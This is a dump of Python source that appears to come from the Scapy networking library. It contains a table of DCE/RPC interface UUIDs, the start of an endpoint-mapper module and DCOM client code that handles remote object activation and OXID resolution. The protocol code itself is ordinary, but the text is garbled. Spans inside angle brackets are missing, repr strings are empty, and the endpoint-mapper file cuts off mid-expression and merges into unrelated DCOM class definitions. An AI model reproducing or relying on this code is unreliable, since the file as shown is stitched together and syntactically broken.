(uuid.UUID("c49e32c7-bc8b-11d2-85d4-00105a1f8304"), "IWbemBackupRestore"), (uuid.UUID("c4b0c7d9-abe0-4733-a1e1-9fdedf260c7a"), "IADProxy2"), (uuid.UUID("c5c04795-321c-4014-8fd6-d44658799393"), "IAppHostSectionDefinition"), (uuid.UUID("c5cebee2-9df5-4cdd-a08c-c2471bc144b4"), "IResourceManager"), (uuid.UUID("c681d488-d850-11d0-8c52-00c04fd90f7e"), "efsrpc"), (uuid.UUID("c726744e-5735-4f08-8286-c510ee638fb6"), "ICatalogUtils2"), (uuid.UUID("c8550bff-5281-4b1e-ac34-99b6fa38464d"), "IAppHostElementCollection"), (uuid.UUID("c97ad11b-f257-420b-9d9f-377f733f6f68"), "IUpdateDownloadContent2"), (uuid.UUID("cb0df960-16f5-4495-9079-3f9360d831df"), "IFsrmRule"), (uuid.UUID("ccd8c074-d0e5-4a40-92b4-d074faa6ba28"), "Witness"), (uuid.UUID("cfadac84-e12c-11d1-b34c-00c04f990d54"), "IExport"), ( uuid.UUID("cfe36cba-1949-4e74-a14f-f1d580ceaf13"), "IFsrmFileScreenTemplateManager", ), (uuid.UUID("d02e4be0-3419-11d1-8fb1-00a024cb6019"), "INtmsMediaServices1"), (uuid.UUID("d049b186-814f-11d1-9a3c-00c04fc9b232"), "NtFrsApi"), (uuid.UUID("d2d79df5-3400-11d0-b40b-00aa005ff586"), "IVolumeClient"), (uuid.UUID("d2d79df7-3400-11d0-b40b-00aa005ff586"), "IDMNotify"), (uuid.UUID("d2dc89da-ee91-48a0-85d8-cc72a56f7d04"), "IFsrmClassificationManager"), (uuid.UUID("d40cff62-e08c-4498-941a-01e25f0fd33c"), "ISearchResult"), (uuid.UUID("d4781cd6-e5d3-44df-ad94-930efe48a887"), "IWbemLoginClientID"), (uuid.UUID("d5d23b6d-5a55-4492-9889-397a3c2d2dbc"), "IVdsAsync"), (uuid.UUID("d646567d-26ae-4caa-9f84-4e0aad207fca"), "IFsrmActionEmail"), (uuid.UUID("d68168c9-82a2-4f85-b6e9-74707c49a58f"), "IVdsVolumeShrink"), (uuid.UUID("d6c7cd8f-bb8d-4f96-b591-d3a5f1320269"), "IAppHostMethodCollection"), (uuid.UUID("d8cc81d9-46b8-4fa4-bfa5-4aa9dec9b638"), "IFsrmReport"), (uuid.UUID("d95afe70-a6d5-4259-822e-2c84da1ddb0d"), "WindowsShutdown"), (uuid.UUID("d99bdaae-b13a-4178-9fdb-e27f16b4603e"), "IVdsHwProvider"), (uuid.UUID("d99e6e70-fc88-11d0-b498-00a0c90312f3"), "ICertRequestD"), (uuid.UUID("d99e6e71-fc88-11d0-b498-00a0c90312f3"), "ICertAdminD"), (uuid.UUID("d9a59339-e245-4dbd-9686-4d5763e39624"), "IInstallationBehavior"), (uuid.UUID("da5a86c5-12c2-4943-ab30-7f74a813d853"), "PerflibV2"), (uuid.UUID("db90832f-6910-4d46-9f5e-9fd6bfa73903"), "INtmsLibraryControl2"), (uuid.UUID("dc12a681-737f-11cf-884d-00aa004b2e24"), "IWbemClassObject"), (uuid.UUID("dde02280-12b3-4e0b-937b-6747f6acb286"), "IUpdateServiceRegistration"), (uuid.UUID("de095db1-5368-4d11-81f6-efef619b7bcf"), "IAppHostCollectionSchema"), (uuid.UUID("deb01010-3a37-4d26-99df-e2bb6ae3ac61"), "IVolumeClient4"), (uuid.UUID("e0393303-90d4-4a97-ab71-e9b671ee2729"), "IVdsServiceLoader"), ( uuid.UUID("e1010359-3e5d-4ecd-9fe4-ef48622fdf30"), "IFsrmFileScreenTemplateImported", ), (uuid.UUID("e1af8308-5d1f-11c9-91a4-08002b14a0fa"), "ept"), (uuid.UUID("e33c0cc4-0482-101a-bc0c-02608c6ba218"), "LocToLoc"), (uuid.UUID("e3514235-4b06-11d1-ab04-00c04fc2dcd2"), "drsuapi"), (uuid.UUID("e3d0d746-d2af-40fd-8a7a-0d7078bb7092"), "BitsPeerAuth"), (uuid.UUID("e65e8028-83e8-491b-9af7-aaf6bd51a0ce"), "IServerHealthReport"), (uuid.UUID("e7927575-5cc3-403b-822e-328a6b904bee"), "IAppHostPathMapper"), (uuid.UUID("e7a4d634-7942-4dd9-a111-82228ba33901"), "IAutomaticUpdatesResults"), (uuid.UUID("e8fb8620-588f-11d2-9d61-00c04f79c5fe"), "IIisServiceControl"), (uuid.UUID("e946d148-bd67-4178-8e22-1c44925ed710"), "IFsrmPropertyDefinitionValue"), (uuid.UUID("ea0a3165-4834-11d2-a6f8-00c04fa346cc"), "fax"), (uuid.UUID("eafe4895-a929-41ea-b14d-613e23f62b71"), "IAppHostPropertyException"), (uuid.UUID("ed35f7a1-5024-4e7b-a44d-07ddaf4b524d"), "IAppHostProperty"), (uuid.UUID("ed8bfe40-a60b-42ea-9652-817dfcfa23ec"), "IWindowsDriverUpdateEntry"), (uuid.UUID("ede0150f-e9a3-419c-877c-01fe5d24c5d3"), "IFsrmPropertyDefinition"), (uuid.UUID("ee2d5ded-6236-4169-931d-b9778ce03dc6"), "IVdsVolumeMF"), ( uuid.UUID("ee321ecb-d95e-48e9-907c-c7685a013235"), "IFsrmFileManagementJobManager", ), (uuid.UUID("ef13d885-642c-4709-99ec-b89561c6bc69"), "IAppHostElementSchema"), (uuid.UUID("eff90582-2ddc-480f-a06d-60f3fbc362c3"), "IStringCollection"), (uuid.UUID("f131ea3e-b7be-480e-a60d-51cb2785779e"), "IExport2"), (uuid.UUID("f1e9c5b2-f59b-11d2-b362-00105a1f8177"), "IWbemRemoteRefresher"), (uuid.UUID("f309ad18-d86a-11d0-a075-00c04fb68820"), "IWbemLevel1Login"), (uuid.UUID("f31931a9-832d-481c-9503-887a0e6a79f0"), "IWRMProtocol"), (uuid.UUID("f3637e80-5b22-4a2b-a637-bbb642b41cfc"), "IFsrmFileScreenBase"), (uuid.UUID("f411d4fd-14be-4260-8c40-03b7c95e608a"), "IFsrmSetting"), (uuid.UUID("f4a07d63-2e25-11d1-9964-00c04fbbb345"), "IEnumEventObject"), (uuid.UUID("f5cc59b4-4264-101a-8c59-08002b2f8426"), "frsrpc"), (uuid.UUID("f5cc5a18-4264-101a-8c59-08002b2f8426"), "nspi"), (uuid.UUID("f612954d-3b0b-4c56-9563-227b7be624b4"), "IMSAdminBase3W"), (uuid.UUID("f6beaff7-1e19-4fbb-9f8f-b89e2018337c"), "IEventService"), (uuid.UUID("f76fbf3b-8ddd-4b42-b05a-cb1c3ff1fee8"), "IFsrmCollection"), (uuid.UUID("f82e5729-6aba-4740-bfc7-c7f58f75fb7b"), "IFsrmAutoApplyQuota"), (uuid.UUID("f89ac270-d4eb-11d1-b682-00805fc79216"), "IEventObjectCollection"), (uuid.UUID("fa7660f6-7b3f-4237-a8bf-ed0ad0dcbbd9"), "IAppHostWritableAdminManager"), (uuid.UUID("fa7df749-66e7-4986-a27f-e2f04ae53772"), "IVssSnapshotMgmt"), (uuid.UUID("fb2b72a0-7a68-11d1-88f9-0080c7d771bf"), "IEventClass"), (uuid.UUID("fb2b72a1-7a68-11d1-88f9-0080c7d771bf"), "IEventClass2"), (uuid.UUID("fbc1d17d-c498-43a0-81af-423ddd530af6"), "IEventSubscription3"), (uuid.UUID("fc5d23e8-a88b-41a5-8de0-2d2f73c5a630"), "IVdsServiceSAN"), (uuid.UUID("fc910418-55ca-45ef-b264-83d4ce7d30e0"), "IWRMRemoteSessionMgmt"), (uuid.UUID("fdb3a030-065f-11d1-bb9b-00a024ea5525"), "qmcomm"), (uuid.UUID("ff4fa04e-5a94-4bda-a3a0-d5b4d3c52eba"), "IFsrmFileScreenManager"), ] for uid, name in _DCE_RPC_WELL_KNOWN_UUIDS: DCE_RPC_INTERFACES_NAMES[uid] = name DCE_RPC_INTERFACES_NAMES_rev[name.lower()] = uid ================================================ FILE: scapy/layers/msrpce/ept.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ EPT map (EndPoinT mapper) """ import uuid from scapy.config import conf from scapy.fields import ( ByteEnumField, ConditionalField, FieldLenField, IPField, LEShortField, MultipleTypeField, PacketListField, ShortField, StrLenField, UUIDEnumField, ) from scapy.packet import Packet from scapy.layers.dcerpc import ( DCE_RPC_INTERFACES_NAMES_rev, DCE_RPC_INTERFACES_NAMES, DCE_RPC_PROTOCOL_IDENTIFIERS, DCE_RPC_TRANSFER_SYNTAXES, ) from scapy.layers.msrpce.raw.ept import * # noqa: F401, F403 # [C706] Appendix L # "For historical reasons, this cannot be done using the standard # NDR encoding rules for marshalling and unmarshalling. # A special encoding is required." - Appendix L class octet_string_t(Packet): fields_desc = [ FieldLenField("count", None, fmt=" NDRShortField("cRequestedProtseqs", None, size_of="pRequestedProtseqs"), NDRFullEmbPointerField( NDRConfFieldListField( "pRequestedProtseqs", [], NDRShortField("", 0), size_is=lambda pkt: pkt.cRequestedProtseqs, ), ), ] class ScmRequestInfoData(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField(NDRIntField("pdwReserved", 0)), NDRFullEmbPointerField( NDRPacketField( "remoteRequest", customREMOTE_REQUEST_SCM_INFO(), customREMOTE_REQUEST_SCM_INFO, ), ), ] # [MS-DCOM] 2.2.22.2.5 class ActivationContextInfoData(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRSignedIntField("clientOK", 0), NDRSignedIntField("bReserved1", 0), NDRIntField("dwReserved1", 0), NDRIntField("dwReserved2", 0), NDRFullEmbPointerField( NDRPacketField("pIFDClientCtx", MInterfacePointer(), MInterfacePointer), ), NDRFullEmbPointerField( NDRPacketField("pIFDPrototypeCtx", MInterfacePointer(), MInterfacePointer), ), ] # [MS-DCOM] 2.2.22.2.6 class LocationInfoData(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField( NDRConfVarStrNullFieldUtf16("machineName", None), ), NDRIntField("processId", 0), NDRIntField("apartmentId", 0), NDRIntField("contextId", 0), ] # [MS-DCOM] 2.2.22.2.7 class COSERVERINFO(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("dwReserved1", 0), NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16("pwszName", "")), NDRFullEmbPointerField(NDRIntField("pdwReserved", 0)), NDRIntField("dwReserved2", 0), ] class SecurityInfoData(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("dwAuthnFlags", 0), NDRFullEmbPointerField( NDRPacketField("pServerInfo", COSERVERINFO(), COSERVERINFO), ), NDRFullPointerField(NDRIntField("pdwReserved", None)), ] class customREMOTE_REPLY_SCM_INFO(NDRPacket): ALIGNMENT = (8, 8) fields_desc = [ NDRLongField("Oxid", 0), NDRFullEmbPointerField( NDRPacketField("pdsaOxidBindings", DUALSTRINGARRAY(), DUALSTRINGARRAY), ), NDRPacketField("ipidRemUnknown", GUID(), GUID), NDRIntField("authnHint", 0), NDRPacketField("serverVersion", COMVERSION(), COMVERSION), ] class ScmReplyInfoData(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRFullEmbPointerField(NDRIntField("pdwReserved", 0)), NDRFullEmbPointerField( NDRPacketField( "remoteReply", customREMOTE_REPLY_SCM_INFO(), customREMOTE_REPLY_SCM_INFO, ), ), ] # [MS-DCOM] 2.2.22.2.9 class PropsOutInfo(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("cIfs", None, size_of="ppIntfData"), NDRFullEmbPointerField( NDRConfPacketListField("piid", [], GUID, size_is=lambda pkt: pkt.cIfs) ), NDRFullEmbPointerField( NDRConfFieldListField( "phresults", [], NDRSignedIntField("phresults", 0), size_is=lambda pkt: pkt.cIfs, ) ), NDRFullEmbPointerField( NDRConfPacketListField( "ppIntfData", [], MInterfacePointer, size_is=lambda pkt: pkt.cIfs, ptr_lvl=1, ) ), ] # [MS-DCOM] 2.2.22.1 class CustomHeader(NDRPacket): ALIGNMENT = (4, 8) fields_desc = [ NDRIntField("totalSize", 0), NDRIntField("headerSize", 0), NDRIntField("dwReserved", 0), NDRIntEnumField("destCtx", 2, {2: "MSHCTX_DIFFERENTMACHINE"}), NDRIntField("cIfs", None, size_of="pSizes"), NDRPacketField("classInfoClsid", GUID(), GUID), NDRFullEmbPointerField( NDRConfPacketListField( "pclsid", [GUID()], GUID, count_from=lambda pkt: pkt.cIfs ), ), NDRFullEmbPointerField( NDRConfFieldListField( "pSizes", None, NDRIntField("", 0), count_from=lambda pkt: pkt.cIfs ), ), NDRFullEmbPointerField(NDRIntField("pdwReserved", None)), ] class _ActivationPropertiesField(NDRSerializeType1PacketListField): def __init__(self, *args, **kwargs): kwargs["next_cls_cb"] = self._get_cls_activation super(_ActivationPropertiesField, self).__init__(*args, **kwargs) def _get_cls_activation(self, pkt, lst, cur, remain): # Get all the pcslsid pclsid = pkt.CustomHeader[CustomHeader].valueof("pclsid") ndrendian = pkt.CustomHeader[CustomHeader].ndrendian i = len(lst) + int(bool(cur)) if i >= len(pclsid): return # Get the next pclsid we need to process next_uid = _uid_from_bytes(bytes(pclsid[i]), ndrendian=ndrendian) # [MS-DCOM] 1.9 cls = { CLSID_ActivationContextInfo: ActivationContextInfoData, CLSID_InstanceInfo: InstanceInfoData, CLSID_InstantiationInfo: InstantiationInfoData, CLSID_PropsOutInfo: PropsOutInfo, CLSID_ScmReplyInfo: ScmReplyInfoData, CLSID_ScmRequestInfo: ScmRequestInfoData, CLSID_SecurityInfo: SecurityInfoData, CLSID_ServerLocationInfo: LocationInfoData, CLSID_SpecialSystemProperties: SpecialPropertiesData, }[next_uid] return lambda x: ndr_deserialize1(x, cls) class ActivationPropertiesBlob(Packet): fields_desc = [ FieldLenField( "dwSize", None, fmt=" Tuple[List[STRINGBINDING], List[SECURITYBINDING]]: """ Process aStringArray in a DUALSTRINGARRAY to extract string bindings and security bindings. """ str_fld = PacketListField("", [], STRINGBINDING) sec_fld = PacketListField("", [], SECURITYBINDING) string = str_fld.getfield(dual, dual.aStringArray[: dual.wSecurityOffset * 2])[1] secs = sec_fld.getfield(dual, dual.aStringArray[dual.wSecurityOffset * 2 :])[1] if string[-1].wTowerId != 0 or secs[-1].wAuthnSvc != 0: raise ValueError("Invalid DUALSTRINGARRAY !") return string[:-1], secs[:-1] def _HashStringBinding(strings: List[STRINGBINDING]): """ Hash a STRINGBINDING list """ return hashlib.sha256(b"".join(bytes(x) for x in strings)).digest() # Entries. class IPID_Entry: """ An entry in the IPID table [MS-DCOM] 3.1.1.1 Abstract Data Model """ def __init__(self): self.ipid: Optional[uuid.UUID] = None self.iid: Optional[uuid.UUID] = None self.oid: Optional[int] = None self.oxid: Optional[int] = None self.cPublicRefs: int = 0 self.cPrivateRefs: int = 0 self.state: Any = None # Additions self.iface: Optional[ComInterface] = None class OID_Entry: """ An entry in the OID table [MS-DCOM] 3.1.1.1 Abstract Data Model """ def __init__(self): self.oid: Optional[int] = None self.oxid: Optional[int] = None self.ipids: List[uuid.UUID] = [] self.hash: Optional[bytes] = None self.last_orpc: int = None self.garbage_collection: bool = True self.state = None class Resolver_Entry: """ An entry in the Resolver table. [MS-DCOM] 3.2.1 Abstract Data Model """ def __init__(self): self.hash: Optional[bytes] = None self.binds: List[STRINGBINDING] = [] self.secs: List[SECURITYBINDING] = [] self.setid: Optional[int] = None self.client: Optional[DCERPC_Client] = None class SETID_Entry: """ An entry in the SETID table. [MS-DCOM] 3.2.1 Abstract Data Model """ def __init__(self): self.setid: Optional[int] = None self.oids: List[int] = [] self.seq: Optional[int] = None class OXID_Entry: """ An entry in the OXID table. [MS-DCOM] 3.2.1 Abstract Data Model """ def __init__(self): self.oxid: Optional[int] = None self.bindingInfo: Optional[Tuple[str, int]] = None self.target_name: str = None self.authnHint: DCE_C_AUTHN_LEVEL = DCE_C_AUTHN_LEVEL.CONNECT self.version: Optional[COMVERSION] = None self.ipid_IRemUnknown: Optional[uuid.UUID] = None def __repr__(self): return f"" class ObjectInstance: """ An reference to an instantiated object. This is a helper to manipulate this object and perform calls over it. """ def __init__(self, client: "DCOM_Client", oid: int): self.client = client self.oid = oid def __repr__(self): return f"" @property def valid(self): """ Returns whether the current object still exists """ return self.oid in self.client.OID_table @property def ndr64(self): """ Whether NDR64 is required to talk to this object """ return self.client.ndr64 def sr1_req( self, pkt: NDRPacket, iface: ComInterface, ssp=None, auth_level=None, impersonation_type=None, timeout=None, **kwargs, ): """ Make an ORPC call on this object instance. :param iface: the ComInterface to call. :param pkt: the request to make. :param ssp: (optional) non default SSP to use to connect to the object exporter :param auth_level: (optional) non default authn level to use :param impersonation_type: (optional) non default impersonation type to use :param timeout: (optional) timeout for the connection """ # Look for this object's entry try: oid_entry = self.client.OID_table[self.oid] except KeyError: raise ValueError("This object has been released.") # Look for the ipid matching the interface required by the user ipid = None for ipid in oid_entry.ipids: ipid_entry = self.client.IPID_table[ipid] if ipid_entry.iid == iface.uuid: break else: # Acquire interface on the object self.client.AcquireInterface( ipid=oid_entry.ipids[0], iids=[ iface, ], cPublicRefs=1, ) return self.client.sr1_orpc_req( ipid=ipid, pkt=pkt, ssp=ssp, auth_level=auth_level, impersonation_type=impersonation_type, timeout=timeout, **kwargs, ) def release(self): """ Call IRemUnknown2::RemRelease to release counts on an object reference. """ for ipid in self.client.OID_table[self.oid].ipids: self.client.RemRelease(ipid) class DCOM_Client(DCERPC_Client): """ A wrapper of DCERPC_Client that adds functions to use COM interfaces. :param cid: the client identifier """ IREMUNKNOWN = find_com_interface("IRemUnknown2") def __init__(self, cid: GUID = None, verb=True, **kwargs): # Pick a random cid to identify this client self.cid = cid or GUID(RandUUID().bytes_le) # The OXID table kept up-to-date by the client self.OXID_table: Dict[int, OXID_Entry] = {} # The IPID table kept up-to-date by the client self.IPID_table: Dict[int, IPID_Entry] = {} # The OID table kept up-to-date by the client self.OID_table: Dict[int, OID_Entry] = {} # The Resolver table kept up-to-date by the client self.Resolver_table: Dict[STRINGBINDING, Resolver_Entry] = {} # DCOM defaults to at least PKT_INTEGRITY if "auth_level" not in kwargs and "ssp" in kwargs: kwargs["auth_level"] = DCE_C_AUTHN_LEVEL.PKT_INTEGRITY # DCOM_Client handles the activations. # [MS-RPCE] sect 3.2.4.1.1.2 : "it MUST specify a default impersonation # level of at leastRPC_C_IMPL_LEVEL_IMPERSONATE" if "impersonation_type" not in kwargs and "ssp" in kwargs: kwargs["impersonation_type"] = RPC_C_IMP_LEVEL.IMPERSONATE super(DCOM_Client, self).__init__( DCERPC_Transport.NCACN_IP_TCP, ndr64=False, verb=verb, **kwargs, ) def connect(self, host: str, timeout=5): """ Initiate a connection to the object resolver. :param host: the host to connect to :param timeout: (optional) the connection timeout (default 5) """ # [MS-DCOM] 3.2.4.1.2.1 Determining RPC Binding Information binds, _ = ServerAlive2(host) host, port = self._ChoseRPCBinding(binds) super(DCOM_Client, self).connect( host=host, port=port, timeout=timeout, ) def sr1_req(self, pkt, **kwargs): raise NotImplementedError("Cannot use sr1_req on DCOM_Client !") def _GetObjectInstance(self, oid: int): """ Internal function to get an ObjectInstance from an oid """ return ObjectInstance( client=self, oid=oid, ) def _RemoteCreateInstanceOrGetClassObject( self, clsreq, clsresp, clsid: uuid.UUID, iids: List[ComInterface], ) -> ObjectInstance: """ Internal function common to RemoteCreateInstance and RemoteGetClassObject """ if not iids: raise ValueError("Must specify at least one interface !") # Bind IObjectExporter if not already self.bind_or_alter( find_dcerpc_interface("IRemoteSCMActivator"), target_name="rpcss/" + self.host, ) # [MS-DCOM] sect 3.1.2.5.2.3.3 - Issuing the Activation Request # Build the activation properties ActivationProperties = [ SpecialPropertiesData( # Same as windows dwDefaultAuthnLvl=self.auth_level, dwOrigClsctx=16, dwFlags=2, # ??? ndr64=False, ), InstantiationInfoData( classId=GUID(_uid_to_bytes(clsid)), classCtx=16, actvflags=0, fIsSurrogate=0, clientCOMVersion=COMVERSION( MajorVersion=5, MinorVersion=7, ), pIID=[GUID(_uid_to_bytes(x.uuid)) for x in iids], ndr64=False, ), ActivationContextInfoData( pIFDClientCtx=MInterfacePointer( abData=OBJREF(iid=IID_IContext) / OBJREF_CUSTOM( clsid=CLSID_ContextMarshaler, pObjectData=Context( ContextId=uuid.UUID("53394e9f-e973-4bf0-a341-154519534fe1"), Flags="CTXMSHLFLAGS_BYVAL", ), ), ), ndr64=False, ), SecurityInfoData( pServerInfo=COSERVERINFO( pwszName=self.host, ), ndr64=False, ), LocationInfoData(ndr64=False), ScmRequestInfoData( remoteRequest=customREMOTE_REQUEST_SCM_INFO( pRequestedProtseqs=[ # Note <51> for Windows Vista and later int(DCERPC_Transport.NCACN_IP_TCP), ] ), ndr64=False, ), ] # Build CustomHeader hdr = CustomHeader( pclsid=[ GUID(_uid_to_bytes(CLSID_SpecialSystemProperties)), GUID(_uid_to_bytes(CLSID_InstantiationInfo)), GUID(_uid_to_bytes(CLSID_ActivationContextInfo)), GUID(_uid_to_bytes(CLSID_SecurityInfo)), GUID(_uid_to_bytes(CLSID_ServerLocationInfo)), GUID(_uid_to_bytes(CLSID_ScmRequestInfo)), ], pSizes=[ # Account for the size of the Type1 header + padding len(x) + 16 + (-len(x) % 8) for x in ActivationProperties ], ndr64=False, ) hdr.headerSize = len(hdr) + 16 # 16: size of the Type1 serialization header hdr.totalSize = hdr.headerSize + sum(hdr.valueof("pSizes")) # Build final request pkt = clsreq( orpcthis=ORPCTHIS( version=COMVERSION( MajorVersion=5, MinorVersion=7, ), flags=tagCPFLAGS.CPFLAG_PROPAGATE, cid=self.cid, ), pActProperties=MInterfacePointer( abData=OBJREF(iid=IID_IActivationPropertiesIn) / OBJREF_CUSTOM( clsid=CLSID_ActivationPropertiesIn, pObjectData=ActivationPropertiesBlob( CustomHeader=hdr, Property=ActivationProperties, ), ), ), ndr64=False, ) if isinstance(pkt, RemoteCreateInstance_Request): pkt.pUnkOuter = None # Send and receive resp = super(DCOM_Client, self).sr1_req(pkt) if not resp or resp.status != 0: raise ValueError("%s failed." % clsreq.__name__) entry = OXID_Entry() objrefs = [] # [MS-DCOM] sect 3.2.4.1.1.3 - Updating the Client OXID Table after Activation abData = OBJREF(resp.valueof("ppActProperties").abData) for prop in abData.pObjectData.Property: if ScmReplyInfoData in prop: # Information about the object exporter the server found for us remoteReply = prop[ScmReplyInfoData].valueof("remoteReply") # Get OXID, IPID, COMVERSION, authentication level hint entry.oxid = remoteReply.Oxid entry.version = remoteReply.serverVersion entry.authnHint = DCE_C_AUTHN_LEVEL(remoteReply.authnHint) entry.ipid_IRemUnknown = _uid_from_bytes( bytes(remoteReply.ipidRemUnknown), ndrendian=remoteReply.ndrendian ) # Set RPC bindings from the activation request binds, secs = _ParseStringArray(remoteReply.valueof("pdsaOxidBindings")) entry.bindingInfo = self._ChoseRPCBinding(binds) entry.target_name = self._CalculateTargetName(secs) if PropsOutInfo in prop: # Information about the interfaces that the client requested info = prop[PropsOutInfo] # Check that all interfaces were obtained phresults = info.valueof("phresults") if any(x > 0 for x in phresults): raise ValueError( "Interfaces %s were not obtained !" % [iids[i] for i, x in enumerate(phresults) if x > 0] ) # Now store the object references for each interface for i, ptr in enumerate(info.valueof("ppIntfData")): if phresults[i] == 0: objrefs.append(OBJREF(ptr.abData)) else: objrefs.append(None) # Update the OXID table if entry.oxid not in self.OXID_table: self.OXID_table[entry.oxid] = entry # Get oid oid = objrefs[0].std.oid # Add an entry to the IPID table for the RemUnknown if entry.ipid_IRemUnknown not in self.IPID_table: ipid_entry = IPID_Entry() ipid_entry.iface = self.IREMUNKNOWN ipid_entry.iid = self.IREMUNKNOWN.uuid ipid_entry.oxid = entry.oxid ipid_entry.oid = oid self.IPID_table[entry.ipid_IRemUnknown] = ipid_entry # "For each object reference returned from the activation request for # which the corresponding status code indicates success, the client MUST # unmarshal the object reference" for i, obj in enumerate(objrefs): if obj is None: continue # Unmarshall self._UnmarshallObjref(obj, iid=iids[i]) return self._GetObjectInstance(oid=oid) def _UnmarshallObjref( self, obj: OBJREF, iid: Optional[ComInterface] = None, ) -> int: """ [MS-DCOM] sect 3.2.4.1.2 - Unmarshaling an Object Reference :param iid: "IID specified by the application when unmarshalling the object reference" (see [MS-DCOM] sect 4.5) """ # "If the OBJREF_STANDARD flag is set" if OBJREF_STANDARD in obj and iid: # "the client MUST look up the OXID entry in the OXID # table using the OXID from the STDOBJREF" try: ox = self.OXID_table[obj.std.oxid] except KeyError: # "If the table entry is not found" # "determine the RPC binding information to be used" binds, _ = _ParseStringArray(obj.saResAddr) host, port = self._ChoseRPCBinding(binds) # "issue OXID resolution" ox = self.ResolveOxid2(oxid=obj.std.oxid, host=host, port=port) # "Next, the client MUST update its tables" self._UpdateTables(iid, ox, obj, obj.std) # "Finally, the client MUST compare the IID in the OBJREF with the # IID specified by the application" if obj.iid != iid.uuid: # "First, the client SHOULD acquire an object reference of the IID # specified by the application" self.AcquireInterface( ipid=obj.std.ipid, iids=[ iid, ], cPublicRefs=1, ) # "Next, the client MUST release the object reference unmarshaled # from the OBJREF" self.RemRelease(obj.std.ipid) return obj.std.oid else: obj.show() raise NotImplementedError("Non OBJREF_STANDARD ! Please report.") def _UpdateTables( self, iface: ComInterface, ox: OXID_Entry, obj: OBJREF, std: STDOBJREF, ) -> None: """ [MS-DCOM] 3.2.4.1.2.3 Updating Client Tables After Unmarshaling """ # [MS-DCOM] 3.2.4.1.2.3.1 Updating the OXID if std.oxid not in self.OXID_table: self.OXID_table[std.oxid] = ox # [MS-DCOM] 3.2.4.1.2.3.2 Updating the OID/IPID/Resolver if std.ipid in self.IPID_table: self.IPID_table[std.ipid].cPublicRefs += std.cPublicRefs else: entry = IPID_Entry() entry.ipid = std.ipid entry.oxid = std.oxid entry.oid = std.oid entry.iid = obj.iid entry.iface = iface entry.cPublicRefs = std.cPublicRefs if entry.cPublicRefs == 0: # "If the STDOBJREF contains a public reference count of zero, # the client MUST obtain additional references on the interface" raise NotImplementedError("Should acquire additional references !") entry.cPrivateRefs = 0 self.IPID_table[std.ipid] = entry if std.oid in self.OID_table: oid_entry = self.OID_table[std.oid] if std.ipid not in oid_entry.ipids: oid_entry.ipids.append(std.ipid) else: binds, secs = _ParseStringArray(obj.saResAddr) oid_entry = OID_Entry() oid_entry.oid = std.oid oid_entry.oxid = std.oxid oid_entry.ipids.append(std.ipid) oid_entry.garbage_collection = not std.flags.SORF_NOPING oid_entry.hash = _HashStringBinding(binds) self.OID_table[std.oid] = oid_entry if oid_entry.hash not in self.Resolver_table: resolver_entry = Resolver_Entry() resolver_entry.setid = 0 resolver_entry.hash = oid_entry.hash resolver_entry.binds = binds resolver_entry.secs = secs self.Resolver_table[oid_entry.hash] = resolver_entry def _ChoseRPCBinding(self, bindings: List[STRINGBINDING]): """ [MS-DCOM] 3.2.4.1.2.1 - Determining RPC Binding Information for OXID Resolution """ # We don't try security bindings, only string ones (connection). # We take the first valid one. for binding in bindings: # Only NCACN_IP_TCP is supported by DCOM if binding.wTowerId == DCERPC_Transport.NCACN_IP_TCP: # [MS-DCOM] 2.2.19.3 m = re.match(r"(.*)\[(.*)\]", binding.aNetworkAddr) if m: host, port = m.group(1), int(m.group(2)) else: host, port = binding.aNetworkAddr, 135 # Check validity of the host/port tuple if valid_ip6(host): # IPv6 pass elif valid_ip(host): # IPv4 pass else: # Netbios/FQDN try: socket.gethostbyname(host) except Exception: # Resolution failed. Skip. log_runtime.warning( "Resolution of '%s' failed, check your DNS and default " "DNS prefix. Kerberos authentication will likely not work." % host ) continue # Success return host, port raise ValueError("No valid bindings available !") def _CalculateTargetName(self, secs: List[SECURITYBINDING]): """ 3.2.4.2 ORPC Invocations - Find SPN from aPrincName """ if self.ssp is None or not secs: return None for sec in secs: # "if the aPrincName field is nonempty" if sec.wAuthnSvc == self.ssp.auth_type and sec.aPrincName: return sec.aPrincName # "if the aPrincName field is empty, the client MUST NOT specify an SPN" return None def UnmarshallObjectReference( self, mifaceptr: MInterfacePointer, iid: ComInterface ): """ [MS-DCOM] 3.2.4.3 Marshaling an Object Reference Unmarshall a MInterfacePointer received by the applicative layer. """ oid = self._UnmarshallObjref(obj=OBJREF(mifaceptr.abData), iid=iid) return self._GetObjectInstance(oid) def ResolveOxid2( self, oxid: int, host: Optional[str] = None, port: Optional[int] = None ): """ [MS-DCOM] 3.2.4.1.2.2 Issuing the OXID Resolution Request :param oxid: the OXID to resolve :param host: (optional) connect to a different host :param port: (optional) connect to a different port """ if host == self.host and port == self.port: host = self.host port = self.port client = self else: # Create and connect client client = DCOM_Client( # Note <85>: Windows uses INTEGRITY auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY, ssp=self.ssp, ) client.connect(host, port=port) # Bind IObjectExporter if not already client.bind_or_alter( find_dcerpc_interface("IObjectExporter"), target_name="rpcss/" + self.host, ) try: # Perform ResolveOxid2 resp = super(DCOM_Client, client).sr1_req( ResolveOxid2_Request( pOxid=oxid, arRequestedProtseqs=[ DCERPC_Transport.NCACN_IP_TCP, ], ndr64=self.ndr64, ) ) finally: if host != self.host or port != self.port: client.close() # Entry if oxid in self.OXID_table: entry = self.OXID_table[oxid] else: entry = OXID_Entry() # Get OXID, IPID, COMVERSION, authentication level hint entry.oxid = oxid entry.version = resp.pComVersion entry.authnHint = DCE_C_AUTHN_LEVEL(resp.pAuthnHint) entry.ipid_IRemUnknown = _uid_from_bytes( bytes(resp.pipidRemUnknown), ndrendian=resp.ndrendian ) # Set RPC bindings from the oxid request binds, secs = _ParseStringArray(resp.valueof("ppdsaOxidBindings")) entry.bindingInfo = self._ChoseRPCBinding(binds) entry.target_name = self._CalculateTargetName(secs) # Update the OXID table if entry.oxid not in self.OXID_table: self.OXID_table[entry.oxid] = entry return entry def RemoteCreateInstance( self, clsid: uuid.UUID, 